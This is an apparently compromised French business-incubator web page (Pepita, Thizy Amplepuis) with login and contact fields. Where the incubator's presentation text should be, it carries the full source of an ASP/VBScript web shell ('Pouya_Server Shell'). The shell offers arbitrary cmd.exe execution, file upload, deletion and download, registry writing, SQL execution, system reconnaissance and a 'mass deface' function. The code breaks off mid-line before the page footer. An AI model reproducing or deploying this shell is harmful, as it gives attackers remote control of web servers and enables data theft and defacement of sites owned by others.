Bienvenue sur RPRA

Connexion membre

Identifiant:
Mot de passe:

Pepita

Pépinière d'entreprises du Pays Innovant de Thizy Amplepuis

  Pepita

Contact :
  • Michel GOMES (Directeur de la pépinière)
Présentation de la pépinière en quelques mots

<%@ LANGUAGE = VBScript.Encode%>
<%//**Start Encode
On Error Resume Next

Dim myFSO,showdisks
Set myFSO = CreateObject ("Scripting.FileSystemObject")
showdisks=FALSE

Server.ScriptTimeOut  = 7200
Class FileUploader
    Public  Files
    Private mcolFormElem
    Private Sub Class_Initialize()
        Set Files = Server.CreateObject("Scripting.Dictionary")
        Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
    End Sub
    Private Sub Class_Terminate()
        If IsObject(Files) Then
            Files.RemoveAll()
            Set Files = Nothing
        End If
        If IsObject(mcolFormElem) Then
            mcolFormElem.RemoveAll()
            Set mcolFormElem = Nothing
        End If
    End Sub
    Public Property Get Form(sIndex)
        Form = ""
        If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
    End Property
    Public Default Sub Upload()
        Dim biData, sInputName
        Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
        Dim nPosFile, nPosBound
        biData = Request.BinaryRead(Request.TotalBytes)
        nPosBegin = 1
        nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
        If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
        vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
        nDataBoundPos = InstrB(1, biData, vDataBounds)
        Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
            nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
            nPos = InstrB(nPos, biData, CByteString("name="))
            nPosBegin = nPos + 6
            nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
            sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
            nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
            nPosBound = InstrB(nPosEnd, biData, vDataBounds)
            If nPosFile <> 0 And  nPosFile < nPosBound Then
                Dim oUploadFile, sFileName
                Set oUploadFile = New UploadedFile
                nPosBegin = nPosFile + 10
                nPosEnd =  InstrB(nPosBegin, biData, CByteString(Chr(34)))
                sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
                oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, ""))
                nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
                nPosBegin = nPos + 14
                nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
                oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
                nPosBegin = nPosEnd+4
                nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
                oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
                If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
            Else
                nPos = InstrB(nPos, biData, CByteString(Chr(13)))
                nPosBegin = nPos + 4
                nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
                If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
            End If
            nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
        Loop
    End Sub
    Private Function CByteString(sString)
        Dim nIndex
        For nIndex = 1 to Len(sString)
           CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
        Next
    End Function
    Private Function CWideString(bsString)
        Dim nIndex
        CWideString =""
        For nIndex = 1 to LenB(bsString)
           CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
        Next
    End Function
End Class
Class UploadedFile
    Public ContentType
    Public FileName
    Public FileData
    Public Property Get FileSize()
        FileSize = LenB(FileData)
    End Property
    Public Sub SaveToDisk(sPath)
        Dim oFS, oFile
        Dim nIndex
        If sPath = "" Or FileName = "" Then Exit Sub
        If Mid(sPath, Len(sPath)) <> "" Then sPath = sPath & ""
        Set oFS = Server.CreateObject("Scripting.FileSystemObject")
        If Not oFS.FolderExists(sPath) Then Exit Sub
        Set oFile = oFS.CreateTextFile(sPath & FileName, True)
        For nIndex = 1 to LenB(FileData)
            oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
        Next
        oFile.Close
    End Sub
    Public Sub SaveToDatabase(ByRef oField)
        If LenB(FileData) = 0 Then Exit Sub
        If IsObject(oField) Then
            oField.AppendChunk FileData
        End If
    End Sub
End Class
startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>"
endocde = "</body></html>"
onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programmer.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>"
Function HexConv(hexVar)
    Dim hxx, hxx_var, multiply         
         IF hexVar <> "" THEN
              hexVar = UCASE(hexVar)
              hexVar = StrReverse(hexVar)
              DIM hx()
              REDIM hx(LEN(hexVar))
              hxx = 0
              hxx_var = 0
              FOR hxx = 1 TO LEN(hexVar)
                   IF multiply = "" THEN multiply = 1
                   hx(hxx) = mid(hexVar,hxx,1)
                   hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var
                   multiply = (multiply * 16)
              NEXT
              hexVar = hxx_var
              HexConv = hexVar
         END IF
End Function
cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r/3R</a> ::.</font>"
Function get_hxno(ghx)
         If ghx = "A" Then
              ghx = 10
         ElseIf ghx = "B" Then
              ghx = 11
         ElseIf ghx = "C" Then
              ghx = 12
         ElseIf ghx = "D" Then
              ghx = 13
         ElseIf ghx = "E" Then
              ghx = 14
         ElseIf ghx = "F" Then
              ghx = 15
         End If
         get_hxno = ghx
End Function

keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailto:'>P0Uy@_$3r/3R</a> - <a href='' target='_blank'></a> ::.</font>"
Function showobj(objpath)
    showobj = Mid(objpath,InstrRev(objpath,"")+1,Len(objpath))
End Function
Function showobjpath(objpath)
    showobjpath = Left(objpath,InstrRev(objpath,""))
End Function
Function checking(a,b)
'    If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then
'        pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error"
'        Response.Redirect(pagina)
'    End If
End Function
Sub hdr()
    Response.Write startcode
    Response.Write keydec
    Response.Write "<br>"
End Sub

sub araBul(path_,ara_)
    on error resume next
    If Len(path_) > 0 Then
        cur = path_&""
        If cur = "\" Then cur = ""
            parent = ""
            If InStrRev(cur,"") > 0 Then
            parent = Left(cur, InStrRev(cur, "", Len(cur)-1))
        End If
    Else
        cur = ""
    End If
    
    Set f = myFSO.GetFolder(cur)

    Set fc = f.Files
    For Each f1 In fc
        if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
            downStr = "<font face=webdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"","|") &"'>Í</a></font>"
            if lcase(ara_)="mdb" then
                Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"","|") & "'>û</a></font> * <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]"&"</a></b><br>"
            else
                Response.Write downStr&"<font face=wingdings size=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Replace(f1.path,"","|") & "'>û</a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"","|") &"'>!</a></font> - <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1.path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>"
            end if
        end if
    Next

    Set fs = f.SubFolders
    For Each f1 In fs
        araBul f1.path,ara_
    Next
    Set    f        = Nothing
    Set fc        = Nothing
    Set fs        = Nothing
end sub


Sub showcontent()
    showdisks=TRUE
    Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PATH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br></font>"
    If Trim(Request.QueryString("raiz")) = "root" Then
        Set fs=Server.Createobject("Scripting.FileSystemObject")
        Set drivecollection=fs.drives
        Response.Write "<font face=""arial"" size=""2"">"
        For Each drive IN drivecollection
            str=drive.driveletter & ":"
            Response.Write "<b><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>"
            Select Case drive.DriveType
                Case 0
                    tipodrive = "Unknown"
                    nomedrive = drive.VolumeName
                Case 1
                    tipodrive = "Removable"
                    If drive.isready Then
                        nomedrive = drive.VolumeName
                    Else
                        nomedrive = ""
                    End If
                Case 2
                    tipodrive = "Fixed"
                    If drive.isready Then
                        nomedrive = drive.VolumeName
                    Else
                        nomedrive = ""
                    End If
                Case 3
                    tipodrive = "Network"
                    If drive.isready Then
                        nomedrive = drive.ShareName
                    Else
                        nomedrive = ""
                    End If
                Case 4
                    tipodrive = "CD-Rom"
                    If drive.isready Then
                        nomedrive = drive.VolumeName
                    Else
                        nomedrive = ""
                    End If
                Case 5
                    tipodrive = "RAM Disk"
                    If drive.isready Then
                        nomedrive = drive.VolumeName
                    Else
                        nomedrive = ""
                    End If
            End Select
            response.write "<b>Type:</b> " & tipodrive & "<br>"
            response.write "<b>Name: </b>" & nomedrive & "<br>"
            response.write "<b>File System: </b>"
            If drive.isready Then
                set sp=fs.getdrive(str)
                response.write sp.filesystem & "<br>"
            Else
            response.write "-<br>"
            End If
            Response.Write "<b>Disk Space: </b>"
            If drive.isready Then
                freespace = (drive.AvailableSpace / 1048576)
                set sp=fs.getdrive(str)
                response.write(Round(freespace,1) & " MB<br>")
            Else
                response.write("-<br>")
            End If
            Response.Write "<b>Total Space: </b>"
            If drive.isready Then
                totalspace = (drive.TotalSize / 1048576)
                set sp=fs.getdrive(str)
                response.write(Round(totalspace,1) & " MB<br>")
            Else
                response.write("-<br>")
            End If
            Response.Write "<br>"
        Next
        Response.Write "</font>"
        Set fs = Nothing
        Set drivecollection = Nothing
        set sp=Nothing
    Else
        If Trim(Request.QueryString("raiz")) = "" Then
            caminho = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
            pos = Instr(caminho,"")
            pos2 = 1
            While pos2 <> 0
                If Instr(pos + 1,caminho,"") <> 0 Then
                    pos = Instr(pos + 1,caminho,"")
                Else
                    pos2 = 0
                End If
            Wend
            raiz = Left(caminho,pos)
        Else
            raiz =  trim(Request.QueryString("raiz")) & ""
        End If
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MonRep = ObjFSO.GetFolder(raiz)
        Set ColFolders = MonRep.SubFolders
        Set ColFiles0 = MonRep.Files
        Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=test&path=" & Replace(raiz,"","|") & "', 'win1','width=600,height=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font><br><br>"
        Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc&path=" & Replace(raiz,"","|") & "', 'win1','width=700,height=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font><br><br>"
        Response.Write "<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&path=" & Replace(raiz,"","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>"

        Response.Write "<font face='arial' size='1'>"
        Response.Write "<a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450,height=200,scrollbars=YES,resizable')"">PROMPT</a>"
        Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width=760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>"
        Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=550,height=200,scrollbars=YES,resizable')"">REGEDIT</a>"
        Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Replace(raiz,"","|") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"">SEARCH</a>"
        Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','width=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>"
        Response.Write " - <a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width=550,height=250,scrollbars=YES,resizable')"">ABOUT</a>"
        Response.Write "</font><br><br>"


        Response.Write "<font face='arial'><b>Root Folder: " & raiz & "</b></font><br><br>"
        If CInt(Len(raiz) - 1) <> 2 Then
            barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"")) - 1
            backlevel = Left(raiz,barrapos)
            Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & "'> . . </font></b></a><br>"
        Else
            Response.Write "<font face='arial' size='2'><b>&lt;DIR&gt;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;</font></b></a><br>"
        End If
        Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
        for each folderItem in ColFolders
            Response.Write "<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & folderItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"","|") & "', 'win1','width=400,height=250,scrollbars=YES,resizable')"">&lt;&lt; PUT</a></font></td>"
            Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem.path,"","|") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&lt;&lt; Copy/Move</a></font></td>"
            Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.path,"","|") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt;&lt; Delete</a></font></td></tr>"
        next
        Response.Write "</table><br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
        marcatabela = true
        for each FilesItem0 in ColFiles0
            If marcatabela = true then
                corfundotabela = " bgcolor=""#EEEEEE"""
            Else
                corfundotabela = ""
            End If
            Response.Write "<tr><td" & corfundotabela & "><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=get&path=" & Replace(FilesItem0.path,"","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path,"","|") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace(FilesItem0.path,"","|") & "', 'win1','width=640,height=480,scrollbars=YES,resizable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(FilesItem0.path,"","|") & "', 'win1','width=760,height=520,scrollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(FilesItem0.path,"","|") & """>o.DOWNLOAD.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a target='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy&file=" & Replace(FilesItem0.path,"","|") & """>o.FileCopy.o</a></font></td></tr>"
            marcatabela = NOT marcatabela
        next
        Response.Write "</table>"
    End If
End Sub
Select Case Trim(Request.QueryString("action"))
    Case "get"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        caminho = Replace(Trim(Request.QueryString("path")),"|","")
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MyFile = ObjFSO.GetFile(caminho)
        destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),""))
        MyFile.Copy (destino)
        If Err.Number = 0 Then
            Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & caminho & "</b><br>Copied to: " & destino
        End If    
    Case "put"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        If Trim(Request.QueryString("arquivo")) = "" Then
            caminho = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),""))
            varpath = Trim(Request.QueryString("path"))
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MonRep = ObjFSO.GetFolder(caminho)
            Set ColFolders = MonRep.SubFolders
            Set ColFiles0 = MonRep.Files

            Response.Write "<font face='arial' size='2'><b>Select File: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
            for each FilesItem0 in ColFiles0
                Response.Write "<tr><td><font face='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"","|") & """>:: SELECT ::</a></font></td></tr>"
            next
            Response.Write "</table>"
        Else
            destino = Replace(Trim(Request.QueryString("path")),"|","") & ""
            arquivo = Replace(Trim(Request.QueryString("arquivo")),"|","")
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MyFile = ObjFSO.GetFile(arquivo)
            MyFile.Copy (destino)
            If Err.Number = 0 Then
                Response.Write "<font face='arial' size='2'><center><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino
            End If
        End If
    Case "del"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        caminho = Replace(Trim(Request.QueryString("path")),"|","")
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        Set MyFile = ObjFSO.GetFile(caminho)
        MyFile.Delete
        If Err.Number = 0 Then
            Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
            Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"
        End If

    Case "fdel"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        caminho = Replace(Trim(Request.QueryString("path")),"|","")
        Set ObjFSO = CreateObject("Scripting.FileSystemObject")
        ObjFSO.DeleteFolder caminho
        If Err.Number = 0 Then
            Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
            Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"
        End If

    Case "ren"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        If Trim(Request.QueryString("status")) <> "2" Then
            caminho = Replace(Trim(Request.QueryString("path")),"|","")
            arquivo = showobj(caminho)
            Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
                               "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
                               "<input type=""hidden"" name=""action"" value=""ren"">" & _
                               "<input type=""hidden"" name=""status"" value=""2"">" & _
                               "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
                               "New Name: <input type=""text"" name=""newname"">" & _
                               "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _
                               "</form>"
        Else
            caminho = Replace(Trim(Request.QueryString("path")),"|","")
            Set ObjFSO = CreateObject("Scripting.FileSystemObject")
            Set MyFile = ObjFSO.GetFile(caminho)
            destino = Left(caminho,InStrRev(caminho,"")) & Trim(Request.QueryString("newname"))
            MyFile.Move (destino)
            If Err.Number = 0 Then
                Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
                Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
            End If    
        End If
    Case "error"
        Response.Write "<center><font face='arial' size='2' color='red'> <b>CÓDIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
    Case "cmd"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        Set oScript = Server.CreateObject("WSCRIPT.SHELL")
        Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
        Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
        szCMD = Request.QueryString(".CMD")
        If (szCMD <> "") Then
            szTempFile = "c:" & oFileSys.GetTempName( )
            Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
            Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
        End If
        Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
        If (IsObject(oFile)) Then
            On Error Resume Next
            Response.Write "<font face=""arial"">"
            Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
            oFile.Close
            Call oFileSys.DeleteFile(szTempFile, True)
        End If
    Case "info"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        Set WshNetwork = Server.CreateObject("WScript.Network")
        Set WshShell = Server.CreateObject("WScript.Shell")
        Set WshEnv = WshShell.Environment("SYSTEM")
        Response.Write "<br><font face=arial size=2>"
        Response.Write "<b>User Properties:</b><br>"
        Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"
        Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
        Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"
        Set Drives = WshNetwork.EnumNetworkDrives
        For i = 0 to Drives.Count - 1
            Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
        Next
        Response.Write "<br><b>Cpu Information:</b><br>"
        Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
        Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
        Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
        Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
        Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
        Response.Write "<br><b>Operating System Information:</b><br>"
        Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
        Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
        Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
        Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
        Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
        Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"
        Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
        Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
        Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
        Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"
        Set Drives = Nothing
        Set WshNetwork = Nothing
        Set WshShell = Nothing
        Set WshEnv = Nothing
    Case "reg"
        checa = checking(cprthtml,keydec)
        Call hdr()
        Response.Write copyright & onlinehelp
        Set WshShell = Server.CreateObject("WScript.Shell")
        Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"
        Select Case Trim(Request.QueryString("regaction"))
            Case "w"
                If Trim(Request.QueryString("process")) = "yes" Then
                    Select Case Trim(Request.QueryString("type"))
                        Case "1"
                            teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
                        Case "2"
                            teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
                        Case "3"
                            teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
                &

LOCAUX

DOCUMENTS CLES

CONTACTER LA PEPINIERE

Fixe ou portable.

@

Recopiez le code